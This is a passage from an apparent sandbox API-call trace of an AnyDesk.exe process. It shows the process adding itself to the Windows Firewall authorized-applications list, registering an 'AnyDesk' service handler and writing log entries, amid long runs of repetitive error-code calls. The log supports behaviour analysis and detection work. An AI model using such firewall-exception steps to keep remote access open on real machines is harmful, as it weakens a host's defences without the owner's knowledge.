[4]=0x0, [5]=0x1, [6]=0x80, [7]=0x50)), ppv=0xdffc8c | out: ppv=0xdffc8c*=0x2441118) returned 0x0 [0200.234] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_ProcessImageFileName (This=0x2441118, ProcessImageFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 0x0 [0200.241] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Name (This=0x2441118, Name="AnyDesk") returned 0x0 [0200.241] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Scope (This=0x2441118, Scope=0) returned 0x0 [0200.241] INetFwProfile:get_AuthorizedApplications (in: This=0x2441a90, apps=0xdffc78 | out: apps=0xdffc78*=0x2442148) returned 0x0 [0200.242] INetFwAuthorizedApplications:Add (This=0x2442148, app=0x2441118) returned 0x0 [0200.839] IUnknown:Release (This=0x2442148) returned 0x1 [0200.839] NetFwAuthorizedApplication:IUnknown:Release (This=0x2441118) returned 0x0 [0200.839] CoCreateInstance (in: rclsid=0x15d12c4*(Data1=0xec9846b3, Data2=0x2762, Data3=0x4a6b, Data4=([0]=0xa2, [1]=0x14, [2]=0x6a, [3]=0xcb, [4]=0x60, [5]=0x34, [6]=0x62, [7]=0xd2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x15d12a4*(Data1=0xb5e64ffa, Data2=0xc2c5, Data3=0x444e, Data4=([0]=0xa3, [1]=0x1, [2]=0xfb, [3]=0x5e, [4]=0x0, [5]=0x1, [6]=0x80, [7]=0x50)), ppv=0xdffc8c | out: ppv=0xdffc8c*=0x2441118) returned 0x0 [0200.840] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_ProcessImageFileName (This=0x2441118, ProcessImageFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 0x0 [0200.840] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Name (This=0x2441118, Name="AnyDesk") returned 0x0 [0200.840] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Scope (This=0x2441118, Scope=0) returned 0x0 [0200.840] INetFwProfile:get_AuthorizedApplications (in: This=0x2442160, apps=0xdffc78 | out: apps=0xdffc78*=0x2441100) returned 0x0 [0200.841] INetFwAuthorizedApplications:Add (This=0x2441100, app=0x2441118) returned 0x0 [0202.394] IUnknown:Release (This=0x2441100) returned 0x1 [0202.394] NetFwAuthorizedApplication:IUnknown:Release (This=0x2441118) returned 0x0 [0202.394] CoCreateInstance (in: rclsid=0x15d12c4*(Data1=0xec9846b3, Data2=0x2762, Data3=0x4a6b, Data4=([0]=0xa2, [1]=0x14, [2]=0x6a, [3]=0xcb, [4]=0x60, [5]=0x34, [6]=0x62, [7]=0xd2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x15d12a4*(Data1=0xb5e64ffa, Data2=0xc2c5, Data3=0x444e, Data4=([0]=0xa3, [1]=0x1, [2]=0xfb, [3]=0x5e, [4]=0x0, [5]=0x1, [6]=0x80, [7]=0x50)), ppv=0xdffc8c | out: ppv=0xdffc8c*=0x2441118) returned 0x0 [0202.395] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_ProcessImageFileName (This=0x2441118, ProcessImageFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 0x0 [0202.397] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Name (This=0x2441118, Name="AnyDesk") returned 0x0 [0202.397] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Scope (This=0x2441118, Scope=0) returned 0x0 [0202.397] INetFwProfile:get_AuthorizedApplications (in: This=0x7cf8c8, apps=0xdffc78 | out: apps=0xdffc78*=0x2441a78) returned 0x0 [0202.397] INetFwAuthorizedApplications:Add (This=0x2441a78, app=0x2441118) returned 0x0 [0202.651] IUnknown:Release (This=0x2441a78) returned 0x1 [0202.651] NetFwAuthorizedApplication:IUnknown:Release (This=0x2441118) returned 0x0 [0202.651] IUnknown:Release (This=0x2441a90) returned 0x0 [0202.651] IUnknown:Release (This=0x2442160) returned 0x0 [0202.651] IUnknown:Release (This=0x7cf8c8) returned 0x0 [0202.651] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bda8 | out: hHeap=0x3b0000) returned 1 [0202.651] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14898 | out: hHeap=0x3b0000) returned 1 [0202.652] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe193c0 | out: hHeap=0x3b0000) returned 1 [0202.652] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bb28 | out: hHeap=0x3b0000) returned 1 [0202.652] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe30678 | out: hHeap=0x3b0000) returned 1 [0202.653] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe0bb28 [0202.653] GetLastError () returned 0x0 [0202.653] SetLastError (dwErrCode=0x0) [0202.653] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0202.653] GetSystemTime (in: lpSystemTime=0xdffc20 | out: lpSystemTime=0xdffc20*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x1a, wMilliseconds=0x270)) [0202.654] GetCurrentThreadId () returned 0xa00 [0202.654] GetCurrentProcessId () returned 0x994 [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.654] GetLastError () returned 0x0 [0202.654] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.655] SetLastError (dwErrCode=0x0) [0202.655] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.656] SetLastError (dwErrCode=0x0) [0202.656] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.657] GetLastError () returned 0x0 [0202.657] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.658] GetLastError () returned 0x0 [0202.658] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.659] GetLastError () returned 0x0 [0202.659] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.660] GetLastError () returned 0x0 [0202.660] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.661] SetLastError (dwErrCode=0x0) [0202.661] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.662] SetLastError (dwErrCode=0x0) [0202.662] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] GetLastError () returned 0x0 [0202.663] SetLastError (dwErrCode=0x0) [0202.663] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x282c [0202.663] WriteFile (in: hFile=0x144, lpBuffer=0xdff32c*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xdffc58, lpOverlapped=0x0 | out: lpBuffer=0xdff32c*, lpNumberOfBytesWritten=0xdffc58*=0x6b, lpOverlapped=0x0) returned 1 [0202.663] ReleaseMutex (hMutex=0xd8) returned 1 [0202.663] OleUninitialize () [0202.664] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5bef8 | out: hHeap=0x3b0000) returned 1 [0202.664] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4dee8 | out: hHeap=0x3b0000) returned 1 Thread: id = 452 os_tid = 0xa04 Thread: id = 453 os_tid = 0xa08 Thread: id = 454 os_tid = 0xa0c [0190.865] OleInitialize (pvReserved=0x0) returned 0x0 [0190.866] GetLastError () returned 0x0 [0190.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x400) returned 0xe47df8 [0190.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe0be68 [0190.866] GetLastError () returned 0x0 [0190.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0xe48200 [0190.867] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0190.867] GetCurrentThreadId () returned 0xa0c [0190.867] SetLastError (dwErrCode=0x0) [0190.867] GetLastError () returned 0x0 [0190.867] SetLastError (dwErrCode=0x0) [0190.868] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0190.868] GetSystemTime (in: lpSystemTime=0x271f87c | out: lpSystemTime=0x271f87c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3a3)) [0190.868] GetCurrentThreadId () returned 0xa0c [0190.868] GetCurrentProcessId () returned 0x994 [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.868] SetLastError (dwErrCode=0x0) [0190.868] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.869] GetLastError () returned 0x0 [0190.869] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.870] SetLastError (dwErrCode=0x0) [0190.870] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.871] SetLastError (dwErrCode=0x0) [0190.871] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.872] SetLastError (dwErrCode=0x0) [0190.872] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.873] GetLastError () returned 0x0 [0190.873] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.874] SetLastError (dwErrCode=0x0) [0190.874] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.875] SetLastError (dwErrCode=0x0) [0190.875] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.876] SetLastError (dwErrCode=0x0) [0190.876] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.877] GetLastError () returned 0x0 [0190.877] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] GetLastError () returned 0x0 [0190.878] SetLastError (dwErrCode=0x0) [0190.878] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x654 [0190.878] WriteFile (in: hFile=0x144, lpBuffer=0x271ef88*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x271f8b4, lpOverlapped=0x0 | out: lpBuffer=0x271ef88*, lpNumberOfBytesWritten=0x271f8b4*=0x84, lpOverlapped=0x0) returned 1 [0190.879] ReleaseMutex (hMutex=0xd8) returned 1 [0190.879] RegisterServiceCtrlHandlerExW (lpServiceName="AnyDesk", lpHandlerProc=0x100b4f0, lpContext=0x36ca20) returned 0x5bc898 [0190.879] RegDisablePredefinedCache () returned 0x0 [0190.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb41c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0190.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe31fb8 [0190.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb41c, cbMultiByte=-1, lpWideCharStr=0xe31fb8, cchWideChar=28 | out: lpWideCharStr="reg config watcher defaults") returned 28 [0190.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32038 [0190.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32078 [0190.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32038 | out: hHeap=0x3b0000) returned 1 [0190.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb438, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0190.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe104c8 [0190.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb438, cbMultiByte=-1, lpWideCharStr=0xe104c8, cchWideChar=29 | out: lpWideCharStr="reg config watcher overrides") returned 29 [0190.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe108b8 [0190.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10948 [0190.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe108b8 | out: hHeap=0x3b0000) returned 1 [0190.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe104c8 | out: hHeap=0x3b0000) returned 1 [0190.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb458, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0190.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe31fb8 [0190.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb458, cbMultiByte=-1, lpWideCharStr=0xe31fb8, 